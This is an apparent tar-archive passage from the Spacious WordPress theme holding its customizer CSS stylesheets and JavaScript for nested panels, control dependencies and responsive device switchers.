	transition: all 0.15s cubic-bezier(0.4, 0, 0.2, 1);
}

.button:hover {
	background: #ffffff;
	color: #0073aa;
}

.select2-container--default .select2-selection--single .select2-selection__arrow b {
	margin-top: 0;
}

.tg-section-separator {
	display: block !important;
	margin-top: 4px;
}

.customize-section-description .spacious-section-description ul {
	margin: 0;
}

.customize-section-description .spacious-section-description ul > li {
	list-style: none;
}

.customize-section-description .spacious-section-description ul > li:last-child {
	margin-bottom: 0;
}

.customize-section-description .spacious-section-description a {
	font-style: italic;
}

.customize-control {
	background: #fff;
	-webkit-box-sizing: border-box;
	box-sizing: border-box;
	margin-bottom: 0;
	padding: 10px;
	position: relative;
}

.customize-control .customize-control-title {
	color: #444444;
	font-size: 14px;
	font-weight: 600;
	margin-bottom: 0px;
}

.customize-control .spacious-control-tooltip {
	position: absolute;
	left: 10px;
	top: 9px;
}

.customize-control .spacious-control-tooltip:hover {
	cursor: pointer;
}

.customize-control .attachment-media-view .button-add-media {
	background: #ebebeb;
}

.customize-control .attachment-media-view .button-add-media:hover {
	background: #ffffff;
}

.customize-control select,
.customize-control input[type]:not([type=range]):not([type=button]):not([type=submit]):not([type=checkbox]):not([type=radio]),
.customize-control .select2-selection--single {
	border-color: #eeeeee;
	border-radius: 2px;
	height: 33px;
}

.customize-control .customize-inside-control-row {
	padding-bottom: 0;
	padding-top: 0;
}

.customize-control.customize-control-radio .customize-inside-control-row, .customize-control.customize-control-checkbox .customize-inside-control-row {
	padding-bottom: 6px;
	padding-top: 6px;
}

.customize-control.has-responsive-switchers .responsive-switchers {
	position: absolute;
	left: 0;
	top: -3px;
}

.customize-control.has-responsive-switchers .responsive-switchers li {
	float: right;
	line-height: 0;
	margin: 0;
	padding-left: 2px;
}

.customize-control.has-responsive-switchers .responsive-switchers li button {
	background: transparent;
	border: none;
	color: rgba(68, 68, 68, 0.5);
	cursor: pointer;
	outline: none;
	padding: 2px;
}

.customize-control.has-responsive-switchers .responsive-switchers li button i {
	font-size: 14px;
	line-height: 20px;
}

.customize-control.has-responsive-switchers .responsive-switchers li button.active {
	color: #0073aa;
}

.customize-control.has-responsive-switchers .control-wrap:not(.active) {
	display: none;
	width: 100%;
}

.in-sub-panel #customize-theme-controls .customize-pane-child.current-panel-parent {
	-webkit-transform: translateX(100%);
	transform: translateX(100%);
}

#customize-theme-controls .customize-pane-child.current-section-parent {
	-webkit-transform: translateX(100%);
	transform: translateX(100%);
}

#customize-theme-controls .control-section.open {
	height: 100%;
}

#customize-theme-controls .control-section.control-section-spacious_section .accordion-section {
	margin-right: -12px;
	margin-left: -12px;
}

#customize-theme-controls .control-section.control-section-spacious_section .accordion-section-title {
	background-color: #ffffff;
	border-bottom: 1px solid #ebebeb;
	border-right: 4px solid #ffffff;
	color: #444444;
	-webkit-transition: .15s color ease-in-out, .15s background-color ease-in-out, .15s border-color ease-in-out;
	transition: .15s color ease-in-out, .15s background-color ease-in-out, .15s border-color ease-in-out;
}

#customize-theme-controls .control-section.control-section-spacious_section .accordion-section-title:after {
	color: #a0a5aa;
}

#customize-theme-controls .control-section.control-section-spacious_section .accordion-section-title:hover,
#customize-theme-controls .control-section.control-section-spacious_section .accordion-section-title:focus {
	background: #f3f3f5;
	border-right-color: #0073aa;
	color: #0073aa;
}

#customize-theme-controls .control-section.control-section-spacious_section .accordion-section-title:hover:after {
	color: #0073aa;
}

#customize-theme-controls .accordion-section-title {
	border-color: #ebebeb;
	color: #444444;
	font-weight: 600;
}

#customize-theme-controls .accordion-section-title:hover, #customize-theme-controls .accordion-section-title:focus {
	border-right-color: #0073aa;
	color: #0073aa;
}

.spacious-hide {
	display: none !important;
}

.customize-control-checkbox,
.customize-control-radio {
	padding-bottom: 5px;
	padding-top: 5px;
}

#accordion-section-spacious_customize_upsell_section h3.accordion-section-title {
	background-color: #289DCC !important;
	border-right-color: #0073aa;
	color: #fff !important;
	padding: 0;
}

#accordion-section-spacious_customize_upsell_section h3.accordion-section-title a {
	color: #fff;
	display: block;
	padding: 12px 15px 15px;
	text-decoration: none;
}

#accordion-section-spacious_customize_upsell_section h3.accordion-section-title a:hover {
	background-color: #1f91bf !important;
}

#accordion-section-spacious_customize_upsell_section h3.accordion-section-title:after {
	color: #fff !important;
}

#accordion-section-spacious_customize_upsell_section h3 a::after {
	color: #fff;
}
core/assets/css/extend-customizer.min.css000066600000011563152367043330014573 0ustar00a{color:#0073aa}a:focus{-webkit-box-shadow:0 0 0 1px rgba(0,115,170,0.8);box-shadow:0 0 0 1px rgba(0,115,170,0.8)}.button{background:#ebebeb;border-color:#0073aa;color:#0073aa;font-weight:600;-webkit-transition:all .15s cubic-bezier(0.4,0,0.2,1);transition:all .15s cubic-bezier(0.4,0,0.2,1)}.button:hover{background:#fff;color:#0073aa}.select2-container--default .select2-selection--single .select2-selection__arrow b{margin-top:0}.tg-section-separator{display:block !important;margin-top:4px}.customize-section-description .spacious-section-description ul{margin:0}.customize-section-description .spacious-section-description ul>li{list-style:none}.customize-section-description .spacious-section-description ul>li:last-child{margin-bottom:0}.customize-section-description .spacious-section-description a{font-style:italic}.customize-control{background:#fff;-webkit-box-sizing:border-box;box-sizing:border-box;margin-bottom:0;padding:10px;position:relative}.customize-control .customize-control-title{color:#444;font-size:14px;font-weight:600;margin-bottom:0}.customize-control .spacious-control-tooltip{position:absolute;right:10px;top:9px}.customize-control .spacious-control-tooltip:hover{cursor:pointer}.customize-control .attachment-media-view .button-add-media{background:#ebebeb}.customize-control .attachment-media-view .button-add-media:hover{background:#fff}.customize-control select,.customize-control input[type]:not([type=range]):not([type=button]):not([type=submit]):not([type=checkbox]):not([type=radio]),.customize-control .select2-selection--single{border-color:#eee;border-radius:2px;height:33px}.customize-control .customize-inside-control-row{padding-bottom:0;padding-top:0}.customize-control.customize-control-radio .customize-inside-control-row,.customize-control.customize-control-checkbox .customize-inside-control-row{padding-bottom:6px;padding-top:6px}.customize-control.has-responsive-switchers .responsive-switchers{position:absolute;right:0;top:-3px}.customize-control.has-responsive-switchers .responsive-switchers li{float:left;line-height:0;margin:0;padding-right:2px}.customize-control.has-responsive-switchers .responsive-switchers li button{background:transparent;border:0;color:rgba(68,68,68,0.5);cursor:pointer;outline:0;padding:2px}.customize-control.has-responsive-switchers .responsive-switchers li button i{font-size:14px;line-height:20px}.customize-control.has-responsive-switchers .responsive-switchers li button.active{color:#0073aa}.customize-control.has-responsive-switchers .control-wrap:not(.active){display:none;width:100%}.in-sub-panel #customize-theme-controls .customize-pane-child.current-panel-parent{-webkit-transform:translateX(-100%);transform:translateX(-100%)}#customize-theme-controls .customize-pane-child.current-section-parent{-webkit-transform:translateX(-100%);transform:translateX(-100%)}#customize-theme-controls .control-section.open{height:100%}#customize-theme-controls .control-section.control-section-spacious_section .accordion-section{margin-left:-12px;margin-right:-12px}#customize-theme-controls .control-section.control-section-spacious_section .accordion-section-title{background-color:#fff;border-bottom:1px solid #ebebeb;border-left:4px solid #fff;color:#444;-webkit-transition:.15s color ease-in-out,.15s background-color ease-in-out,.15s border-color ease-in-out;transition:.15s color ease-in-out,.15s background-color ease-in-out,.15s border-color ease-in-out}#customize-theme-controls .control-section.control-section-spacious_section .accordion-section-title:after{color:#a0a5aa}#customize-theme-controls .control-section.control-section-spacious_section .accordion-section-title:hover,#customize-theme-controls .control-section.control-section-spacious_section .accordion-section-title:focus{background:#f3f3f5;border-left-color:#0073aa;color:#0073aa}#customize-theme-controls .control-section.control-section-spacious_section .accordion-section-title:hover:after{color:#0073aa}#customize-theme-controls .accordion-section-title{border-color:#ebebeb;color:#444;font-weight:600}#customize-theme-controls .accordion-section-title:hover,#customize-theme-controls .accordion-section-title:focus{border-left-color:#0073aa;color:#0073aa}.spacious-hide{display:none !important}.customize-control-checkbox,.customize-control-radio{padding-bottom:5px;padding-top:5px}#accordion-section-spacious_customize_upsell_section h3.accordion-section-title{background-color:#289dcc !important;border-left-color:#0073aa;color:#fff !important;padding:0}#accordion-section-spacious_customize_upsell_section h3.accordion-section-title a{color:#fff;display:block;padding:12px 15px 15px;text-decoration:none}#accordion-section-spacious_customize_upsell_section h3.accordion-section-title a:hover{background-color:#1f91bf !important}#accordion-section-spacious_customize_upsell_section h3.accordion-section-title:after{color:#fff !important}#accordion-section-spacious_customize_upsell_section h3 a::after{color:#fff}core/assets/css/extend-customizer.css000066600000012643152367043330014011 0ustar00a {
	color: #0073aa;
}

a:focus {
	-webkit-box-shadow: 0 0 0 1px rgba(0, 115, 170, 0.8);
	box-shadow: 0 0 0 1px rgba(0, 115, 170, 0.8);
}

.button {
	background: #ebebeb;
	border-color: #0073aa;
	color: #0073aa;
	font-weight: 600;
	-webkit-transition: all 0.15s cubic-bezier(0.4, 0, 0.2, 1);
	transition: all 0.15s cubic-bezier(0.4, 0, 0.2, 1);
}

.button:hover {
	background: #ffffff;
	color: #0073aa;
}

.select2-container--default .select2-selection--single .select2-selection__arrow b {
	margin-top: 0;
}

.tg-section-separator {
	display: block !important;
	margin-top: 4px;
}

.customize-section-description .spacious-section-description ul {
	margin: 0;
}

.customize-section-description .spacious-section-description ul > li {
	list-style: none;
}

.customize-section-description .spacious-section-description ul > li:last-child {
	margin-bottom: 0;
}

.customize-section-description .spacious-section-description a {
	font-style: italic;
}

.customize-control {
	background: #fff;
	-webkit-box-sizing: border-box;
	box-sizing: border-box;
	margin-bottom: 0;
	padding: 10px;
	position: relative;
}

.customize-control .customize-control-title {
	color: #444444;
	font-size: 14px;
	font-weight: 600;
	margin-bottom: 0px;
}

.customize-control .spacious-control-tooltip {
	position: absolute;
	right: 10px;
	top: 9px;
}

.customize-control .spacious-control-tooltip:hover {
	cursor: pointer;
}

.customize-control .attachment-media-view .button-add-media {
	background: #ebebeb;
}

.customize-control .attachment-media-view .button-add-media:hover {
	background: #ffffff;
}

.customize-control select,
.customize-control input[type]:not([type=range]):not([type=button]):not([type=submit]):not([type=checkbox]):not([type=radio]),
.customize-control .select2-selection--single {
	border-color: #eeeeee;
	border-radius: 2px;
	height: 33px;
}

.customize-control .customize-inside-control-row {
	padding-bottom: 0;
	padding-top: 0;
}

.customize-control.customize-control-radio .customize-inside-control-row, .customize-control.customize-control-checkbox .customize-inside-control-row {
	padding-bottom: 6px;
	padding-top: 6px;
}

.customize-control.has-responsive-switchers .responsive-switchers {
	position: absolute;
	right: 0;
	top: -3px;
}

.customize-control.has-responsive-switchers .responsive-switchers li {
	float: left;
	line-height: 0;
	margin: 0;
	padding-right: 2px;
}

.customize-control.has-responsive-switchers .responsive-switchers li button {
	background: transparent;
	border: none;
	color: rgba(68, 68, 68, 0.5);
	cursor: pointer;
	outline: none;
	padding: 2px;
}

.customize-control.has-responsive-switchers .responsive-switchers li button i {
	font-size: 14px;
	line-height: 20px;
}

.customize-control.has-responsive-switchers .responsive-switchers li button.active {
	color: #0073aa;
}

.customize-control.has-responsive-switchers .control-wrap:not(.active) {
	display: none;
	width: 100%;
}

.in-sub-panel #customize-theme-controls .customize-pane-child.current-panel-parent {
	-webkit-transform: translateX(-100%);
	transform: translateX(-100%);
}

#customize-theme-controls .customize-pane-child.current-section-parent {
	-webkit-transform: translateX(-100%);
	transform: translateX(-100%);
}

#customize-theme-controls .control-section.open {
	height: 100%;
}

#customize-theme-controls .control-section.control-section-spacious_section .accordion-section {
	margin-left: -12px;
	margin-right: -12px;
}

#customize-theme-controls .control-section.control-section-spacious_section .accordion-section-title {
	background-color: #ffffff;
	border-bottom: 1px solid #ebebeb;
	border-left: 4px solid #ffffff;
	color: #444444;
	-webkit-transition: .15s color ease-in-out, .15s background-color ease-in-out, .15s border-color ease-in-out;
	transition: .15s color ease-in-out, .15s background-color ease-in-out, .15s border-color ease-in-out;
}

#customize-theme-controls .control-section.control-section-spacious_section .accordion-section-title:after {
	color: #a0a5aa;
}

#customize-theme-controls .control-section.control-section-spacious_section .accordion-section-title:hover,
#customize-theme-controls .control-section.control-section-spacious_section .accordion-section-title:focus {
	background: #f3f3f5;
	border-left-color: #0073aa;
	color: #0073aa;
}

#customize-theme-controls .control-section.control-section-spacious_section .accordion-section-title:hover:after {
	color: #0073aa;
}

#customize-theme-controls .accordion-section-title {
	border-color: #ebebeb;
	color: #444444;
	font-weight: 600;
}

#customize-theme-controls .accordion-section-title:hover, #customize-theme-controls .accordion-section-title:focus {
	border-left-color: #0073aa;
	color: #0073aa;
}

.spacious-hide {
	display: none !important;
}

.customize-control-checkbox,
.customize-control-radio {
	padding-bottom: 5px;
	padding-top: 5px;
}

#accordion-section-spacious_customize_upsell_section h3.accordion-section-title {
	background-color: #289DCC !important;
	border-left-color: #0073aa;
	color: #fff !important;
	padding: 0;
}

#accordion-section-spacious_customize_upsell_section h3.accordion-section-title a {
	color: #fff;
	display: block;
	padding: 12px 15px 15px;
	text-decoration: none;
}

#accordion-section-spacious_customize_upsell_section h3.accordion-section-title a:hover {
	background-color: #1f91bf !important;
}

#accordion-section-spacious_customize_upsell_section h3.accordion-section-title:after {
	color: #fff !important;
}

#accordion-section-spacious_customize_upsell_section h3 a::after {
	color: #fff;
}
core/assets/js/customizer-controls.min.js000066600000000734152367043330014615 0ustar00!function(c){var r=wp.customize;SpaciousCustomizer={controls:{},init:function(){SpaciousCustomizer._initToggles()},_initToggles:function(){SpaciousControlTrigger.triggerHook("spacious-toggle-control",r),c.each(SpaciousCustomizerToggles,function(o,n){r(o,function(i){c.each(n,function(o,t){c.each(t.controls,function(o,n){r.control(n,function(n){function o(o){n.container.toggle(t.callback(o))}o(i.get()),i.bind(o)})})})})})}},c(function(){SpaciousCustomizer.init()})}(jQuery);core/assets/js/extend-customizer.min.js000066600000011534152367043330014241 0ustar00!function(o){var e,i,t,n,a,s;wp.customize.bind("pane-contents-reflowed",function(){var t=[],n=[];wp.customize.section.each(function(e){"spacious_section"===e.params.type&&void 0!==e.params.section&&n.push(e)}),n.sort(wp.customize.utils.prioritySort).reverse(),o.each(n,function(e,t){o("#sub-accordion-section-"+t.params.section).children(".section-meta").after(t.headContainer)}),wp.customize.panel.each(function(e){"spacious_panel"===e.params.type&&void 0!==e.params.panel&&t.push(e)}),t.sort(wp.customize.utils.prioritySort).reverse(),o.each(t,function(e,t){o("#sub-accordion-panel-"+t.params.panel).children(".panel-meta").after(t.headContainer)})}),e=wp.customize.Panel.prototype.embed,i=wp.customize.Panel.prototype.isContextuallyActive,t=wp.customize.Panel.prototype.attachEvents,wp.customize.Panel=wp.customize.Panel.extend({attachEvents:function(){var n;"spacious_panel"===this.params.type&&void 0!==this.params.panel?(t.call(this),(n=this).expanded.bind(function(e){var t=wp.customize.panel(n.params.panel);e?t.contentContainer.addClass("current-panel-parent"):t.contentContainer.removeClass("current-panel-parent")}),n.container.find(".customize-panel-back").off("click keydown").on("click keydown",function(e){wp.customize.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),n.expanded()&&wp.customize.panel(n.params.panel).expand())})):t.call(this)},embed:function(){"spacious_panel"===this.params.type&&void 0!==this.params.panel?(e.call(this),o("#sub-accordion-panel-"+this.params.panel).append(this.headContainer)):e.call(this)},isContextuallyActive:function(){var t,n=this,o=0;return"spacious_panel"!==this.params.type?i.call(this):(t=this._children("panel","section"),wp.customize.panel.each(function(e){e.params.panel&&e.params.panel===n.id&&t.push(e)}),t.sort(wp.customize.utils.prioritySort),_(t).each(function(e){e.active()&&e.isContextuallyActive()&&(o+=1)}),0!==o)}}),n=wp.customize.Section.prototype.embed,a=wp.customize.Section.prototype.isContextuallyActive,s=wp.customize.Section.prototype.attachEvents,wp.customize.Section=wp.customize.Section.extend({attachEvents:function(){var n=this;"spacious_section"===this.params.type&&void 0!==this.params.section?(s.call(n),n.expanded.bind(function(e){var t=wp.customize.section(n.params.section);e?t.contentContainer.addClass("current-section-parent"):t.contentContainer.removeClass("current-section-parent")}),n.container.find(".customize-section-back").off("click keydown").on("click keydown",function(e){wp.customize.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),n.expanded()&&wp.customize.section(n.params.section).expand())})):s.call(n)},embed:function(){var e=this;"spacious_section"===this.params.type&&void 0!==this.params.section?(n.call(e),o("#sub-accordion-section-"+this.params.section).append(e.headContainer)):n.call(e)},isContextuallyActive:function(){var t,n=this,o=0;return"spacious_section"!==this.params.type?a.call(this):(t=this._children("section","control"),wp.customize.section.each(function(e){e.params.section&&e.params.section===n.id&&t.push(e)}),t.sort(wp.customize.utils.prioritySort),_(t).each(function(e){void 0!==e.isContextuallyActive?e.active()&&e.isContextuallyActive()&&(o+=1):e.active()&&(o+=1)}),0!==o)}})}(jQuery),jQuery,wp.customize.bind("ready",function(){wp.customize.control.each(function(e,t){var n,o=e.container.find(".customize-control-description");o.length&&(e.container.find(".customize-control-title"),n=o.closest("li"),e=o.text().replace(/[u00A0-u9999<>&]/gim,function(e){return"&#"+e.charCodeAt(0)+";"}),o.remove(),n.append('<i class="spacious-control-tooltip dashicons dashicons-editor-help" title="'+e+'"></i>'))})}),jQuery(document).ready(function(a){a(".customize-control").on("click",".responsive-switchers button",function(e){a(this);var t=a(".responsive-switchers"),n=a(e.currentTarget).data("device"),o=a(".customize-control.has-responsive-switchers"),i=a(".wp-full-overlay"),e=a(".wp-full-overlay-footer .devices");t.find("button").removeClass("active"),t.find("button.preview-"+n).addClass("active"),o.find(".control-wrap").removeClass("active"),o.find(".control-wrap."+n).addClass("active"),i.removeClass("preview-desktop preview-tablet preview-mobile").addClass("preview-"+n),e.find("button").removeClass("active").attr("aria-pressed",!1),e.find("button.preview-"+n).addClass("active").attr("aria-pressed",!0)}),a(".wp-full-overlay-footer .devices").on("click","button",function(e){a(this);var t=a(".customize-control.has-responsive-switchers .responsive-switchers"),n=a(e.currentTarget).data("device"),e=a(".customize-control.has-responsive-switchers");t.find("button").removeClass("active"),t.find("button.preview-"+n).addClass("active"),e.find(".control-wrap").removeClass("active"),e.find(".control-wrap."+n).addClass("active")})}),function(e){e.sectionConstructor["spacious-upsell-section"]=e.Section.extend({attachEvents:function(){},isContextuallyActive:function(){return!0}})}((jQuery,wp.customize));core/assets/js/customizer-dependency.js000066600000022765152367043330014316 0ustar00/**
 * Customizer dependency controls.
 *
 * @package Spacious
 */

(
	function ( $ ) {

		'use strict';

		/* Internal shorthand */
		var api = wp.customize;

		/**
		 * Helper class for the main Customizer interface.
		 *
		 * @class Spacious_Customizer_FrameWork
		 */
		var Spacious_Customizer_FrameWork = {

			controls : {},

			/**
			 * Initializes the logic for showing and hiding controls
			 * when a setting changes.
			 *
			 * @access private
			 * @method init
			 */
			init : function () {
				var $this = this;

				$this.handleDependency();
				$this.hideEmptySections();

				api.bind(
					'change',
					function ( setting, data ) {
						var has_dependents = $this.hasDependentControls( setting.id );

						if ( has_dependents ) {
							$this.handleDependency();
							$this.hideEmptySections();
						}
					}
				);
			},

			/**
			 * Handles dependency for controls.
			 *
			 * @access private
			 * @method handleDependency
			 */
			handleDependency : function () {
				var $this  = this,
				    values = api.get();

				$this.checked_controls = {};

				_.each(
					values,
					function ( value, id ) {
						var control = api.control( id );

						$this.checkControlVisibility( control, id );
					}
				);
			},

			/**
			 * Hide OR display controls according to dependency
			 *
			 * @access private
			 * @method checkControlVisibility
			 */
			checkControlVisibility : function ( control, id ) {
				var $this  = this,
				    values = api.get();

				if ( ! _.isUndefined( control ) ) {

					// If control has dependency defined.
					if ( 'undefined' != typeof SpaciousCustomizerControlsToggle[id] ) {
						var check            = false,
						    dependency_param = SpaciousCustomizerControlsToggle[id],
						    conditions       = ! _.isUndefined( dependency_param.conditions ) ? dependency_param.conditions : dependency_param,
						    operator         = ! _.isUndefined( dependency_param.operator ) ? dependency_param.operator : 'AND';

						if ( 'undefined' !== typeof conditions ) {
							check                     = $this.checkDependency( conditions, values, operator );
							this.checked_controls[id] = check;

							if ( ! check ) {
								control.container.addClass( 'spacious-hide' );
							} else {
								control.container.removeClass( 'spacious-hide' );
							}
						}
					}

				}
			},

			/**
			 * Checks dependency condtions for controls
			 *
			 * @access private
			 * @method checkDependency
			 */
			checkDependency : function ( conditions, values, compare_operator ) {

				var control   = this,
				    check     = true,
				    returnNow = false,
				    testValue = conditions[0];

				if ( _.isString( testValue ) ) {

					var cond     = conditions[1],
					    cond_val = conditions[2],
					    value;

					if ( ! _.isUndefined( SpaciousCustomizerControlsToggle[testValue] ) ) {
						var conditions = ! _.isUndefined( SpaciousCustomizerControlsToggle[testValue]['conditions'] ) ? SpaciousCustomizerControlsToggle[testValue]['conditions'] : SpaciousCustomizerControlsToggle[testValue];
						var operator   = ! _.isUndefined( SpaciousCustomizerControlsToggle[testValue]['operator'] ) ? SpaciousCustomizerControlsToggle[testValue]['operator'] : 'AND';

						if ( ! _.isUndefined( conditions ) ) {
							// Check visibility for dependent controls also.
							if ( ! control.checkDependency( conditions, values, operator ) ) {
								returnNow = true;
								check     = false;

								if ( 'AND' == compare_operator ) {
									return;
								}
							} else {
								var control_obj = api.control( testValue );

								control_obj.container.removeClass( 'spacious-hide' );
							}
						}
					}

					if ( ! _.isUndefined( values[testValue] ) && ! returnNow && check ) {
						value = values[testValue];
						check = control.compareValues( value, cond, cond_val );
					}

				} else if ( _.isArray( testValue ) ) {

					$.each(
						conditions,
						function ( index, val ) {

							var cond_key  = val[0],
							    cond_cond = val[1],
							    cond_val  = val[2],
							    test_val  = ! _.isUndefined( values[cond_key] ) ? values[cond_key] : '';

							if ( 'undefined' !== typeof SpaciousCustomizerControlsToggle[cond_key] ) {
								var conditions = ! _.isUndefined( SpaciousCustomizerControlsToggle[cond_key]['conditions'] ) ? SpaciousCustomizerControlsToggle[cond_key]['conditions'] : SpaciousCustomizerControlsToggle[cond_key];
								var operator   = ! _.isUndefined( SpaciousCustomizerControlsToggle[cond_key]['operator'] ) ? SpaciousCustomizerControlsToggle[cond_key]['operator'] : 'AND';

								if ( ! _.isUndefined( conditions ) ) {
									// Check visibility for dependent controls also.
									if ( ! control.checkDependency( conditions, values, operator ) ) {
										check = false;

										if ( 'AND' == compare_operator ) {
											return;
										}
									} else {
										check           = true;
										var control_obj = api.control( cond_key );

										control_obj.container.removeClass( 'spacious-hide' );
									}
								}
							} else {
								check = true;
							}

							if ( check ) {
								if ( 'AND' == compare_operator ) {
									if ( ! control.compareValues( test_val, cond_cond, cond_val ) ) {
										check = false;

										return false;
									}
								} else {
									if ( control.compareValues( test_val, cond_cond, cond_val ) ) {
										returnNow = true;
										check     = true;
									} else {
										check = false;
									}
								}
							}
						}

					);

					// Break loop in case of OR operator.
					if ( returnNow && 'OR' == compare_operator ) {
						check = true;
					}

				}

				return check;

			},

			/**
			 * Compare values of the dependent controls.
			 *
			 * @access private
			 * @method compareValues
			 */
			compareValues : function ( value1, condition, value2 ) {

				var equal = false;

				switch ( condition ) {

					case '===':
						equal = (
							value1 === value2
						) ? true : false;
						break;

					case '>':
						equal = (
							value1 > value2
						) ? true : false;
						break;

					case '<':
						equal = (
							value1 < value2
						) ? true : false;
						break;

					case '<=':
						equal = (
							value1 <= value2
						) ? true : false;
						break;

					case '>=':
						equal = (
							value1 >= value2
						) ? true : false;
						break;

					case '!=':
						equal = (
							value1 != value2
						) ? true : false;
						break;

					case 'empty':
						var _v = _.clone( value1 );

						if ( _.isObject( _v ) || _.isArray( _v ) ) {
							_.each(
								_v,
								function ( v, i ) {
									if ( _.isEmpty( v ) ) {
										delete _v[i];
									}
								}
							);

							equal = _.isEmpty( _v ) ? true : false;
						} else {
							equal = _.isNull( _v ) || _v == '' ? true : false;
						}
						break;

					case 'not_empty':
						var _v = _.clone( value1 );

						if ( _.isObject( _v ) || _.isArray( _v ) ) {
							_.each(
								_v,
								function ( v, i ) {
									if ( _.isEmpty( v ) ) {
										delete _v[i];
									}
								}
							)
						}

						equal = _.isEmpty( _v ) ? false : true;
						break;

					case 'contains':
						if ( _.isArray( value1 ) ) {
							if ( $.inArray( value2, value1 ) !== - 1 ) {
								equal = true;
							}
						}
						break;

					default:
						if ( _.isArray( value2 ) ) {
							if ( ! _.isEmpty( value2 ) && ! _.isEmpty( value1 ) ) {
								equal = _.contains( value2, value1 );
							} else {
								equal = false;
							}
						} else {
							equal = (
								value1 == value2
							) ? true : false;
						}
						break;

				}

				return equal;

			},

			/**
			 * Hide Section without Controls.
			 */
			hideEmptySections : function () {

				$( 'ul.accordion-section.control-section-spacious_section' ).each(
					function () {
						var parentId  = $( this ).attr( 'id' ),
						    visibleIt = false,
						    controls  = $( this ).find( ' > .customize-control' );

						if ( controls.length > 0 ) {
							controls.each(
								function () {
									if ( ! $( this ).hasClass( 'spacious-hide' ) && $( this ).css( 'display' ) != 'none' ) {
										visibleIt = true;
									}
								}
							);

							if ( ! visibleIt ) {
								$( '.control-section[aria-owns="' + parentId + '"]' ).addClass( 'spacious-hide' );
							} else {
								$( '.control-section[aria-owns="' + parentId + '"]' ).removeClass( 'spacious-hide' );
							}
						}
					}
				);

			},

			hasDependentControls : function ( control_id ) {
				var check = false;

				$.each(
					SpaciousCustomizerControlsToggle,
					function ( index, val ) {

						if ( ! _.isUndefined( val.conditions ) ) {
							var conditions = val.conditions;

							$.each(
								conditions,
								function ( index, val ) {

									var control = val[0];

									if ( control_id == control ) {
										check = true;
										return;
									}
								}
							);
						} else {
							var control = val[0];

							if ( control_id == control ) {
								check = true;

								return;
							}
						}

					}
				);

				return check;
			},

		};

		$(
			function () {
				Spacious_Customizer_FrameWork.init();
			}
		);

	}
)( jQuery );
core/assets/js/customizer-controls-toggle.min.js000066600000000522152367043330016067 0ustar00!function(g){wp.customize;SpaciousControlTrigger={triggerHook:function(o,r){g("body").trigger("spacious-control-trigger."+o,r)},addHook:function(o,r){g("body").on("spacious-control-trigger."+o,r)},removeHook:function(o,r){g("body").off("spacious-control-trigger."+o,r)}},SpaciousCustomizerToggles={spacious_header_image_link:[]}}(jQuery);core/assets/js/extend-customizer.js000066600000025560152367043330013463 0ustar00/**
 * Nesting customize panels and sections.
 */
(
	function ( $ ) {

		var _panelEmbed,
		    _panelIsContextuallyActive,
		    _panelAttachEvents,
		    _sectionEmbed,
		    _sectionIsContextuallyActive,
		    _sectionAttachEvents;

		wp.customize.bind(
			'pane-contents-reflowed',
			function () {
				var panels   = [],
				    sections = [];

				// Reflow sections.
				wp.customize.section.each(
					function ( section ) {
						if (
							'spacious_section' !== section.params.type ||
							'undefined' === typeof section.params.section
						) {
							return;
						}

						sections.push( section );
					}
				);

				sections.sort( wp.customize.utils.prioritySort ).reverse();

				$.each(
					sections,
					function ( i, section ) {
						var parentContainer = $(
							'#sub-accordion-section-' + section.params.section
						);

						parentContainer
							.children( '.section-meta' )
							.after( section.headContainer );
					}
				);

				// Reflow panels.
				wp.customize.panel.each(
					function ( panel ) {
						if (
							'spacious_panel' !== panel.params.type ||
							'undefined' === typeof panel.params.panel
						) {
							return;
						}

						panels.push( panel );
					}
				);

				panels.sort( wp.customize.utils.prioritySort ).reverse();

				$.each(
					panels,
					function ( i, panel ) {
						var parentContainer = $(
							'#sub-accordion-panel-' + panel.params.panel
						);

						parentContainer.children( '.panel-meta' ).after( panel.headContainer );
					}
				);
			}
		);

		// Extend Panel.
		_panelEmbed                = wp.customize.Panel.prototype.embed;
		_panelIsContextuallyActive = wp.customize.Panel.prototype.isContextuallyActive;
		_panelAttachEvents         = wp.customize.Panel.prototype.attachEvents;

		wp.customize.Panel = wp.customize.Panel.extend(
			{
				attachEvents         : function () {
					var panel;

					if (
						'spacious_panel' !== this.params.type ||
						'undefined' === typeof this.params.panel
					) {
						_panelAttachEvents.call( this );

						return;
					}

					_panelAttachEvents.call( this );

					panel = this;

					panel.expanded.bind(
						function ( expanded ) {
							var parent = wp.customize.panel( panel.params.panel );

							if ( expanded ) {
								parent.contentContainer.addClass( 'current-panel-parent' );
							} else {
								parent.contentContainer.removeClass( 'current-panel-parent' );
							}
						}
					);

					panel.container
					     .find( '.customize-panel-back' )
					     .off( 'click keydown' )
					     .on( 'click keydown',
						     function ( event ) {
							     if ( wp.customize.utils.isKeydownButNotEnterEvent( event ) ) {
								     return;
							     }

							     event.preventDefault(); // Keep this AFTER the key filter above.

							     if ( panel.expanded() ) {
								     wp.customize.panel( panel.params.panel ).expand();
							     }
						     }
					     );
				},
				embed                : function () {
					var panel = this,
					    parentContainer;

					if (
						'spacious_panel' !== this.params.type ||
						'undefined' === typeof this.params.panel
					) {
						_panelEmbed.call( this );

						return;
					}

					_panelEmbed.call( this );

					parentContainer = $(
						'#sub-accordion-panel-' + this.params.panel
					);

					parentContainer.append( panel.headContainer );
				},
				isContextuallyActive : function () {
					var panel       = this,
					    children,
					    activeCount = 0;

					if ( 'spacious_panel' !== this.params.type ) {
						return _panelIsContextuallyActive.call( this );
					}

					children = this._children( 'panel', 'section' );

					wp.customize.panel.each(
						function ( child ) {
							if ( ! child.params.panel ) {
								return;
							}

							if ( child.params.panel !== panel.id ) {
								return;
							}

							children.push( child );
						}
					);

					children.sort( wp.customize.utils.prioritySort );

					_( children ).each(
						function ( child ) {
							if ( child.active() && child.isContextuallyActive() ) {
								activeCount += 1;
							}
						}
					);

					return (
						0 !== activeCount
					);
				}
			}
		);

		// Extend Section.
		_sectionEmbed                = wp.customize.Section.prototype.embed;
		_sectionIsContextuallyActive = wp.customize.Section.prototype.isContextuallyActive;
		_sectionAttachEvents         = wp.customize.Section.prototype.attachEvents;

		wp.customize.Section = wp.customize.Section.extend(
			{
				attachEvents         : function () {
					var section = this;

					if (
						'spacious_section' !== this.params.type ||
						'undefined' === typeof this.params.section
					) {
						_sectionAttachEvents.call( section );

						return;
					}

					_sectionAttachEvents.call( section );

					section.expanded.bind(
						function ( expanded ) {
							var parent = wp.customize.section( section.params.section );

							if ( expanded ) {
								parent.contentContainer.addClass( 'current-section-parent' );
							} else {
								parent.contentContainer.removeClass(
									'current-section-parent'
								);
							}
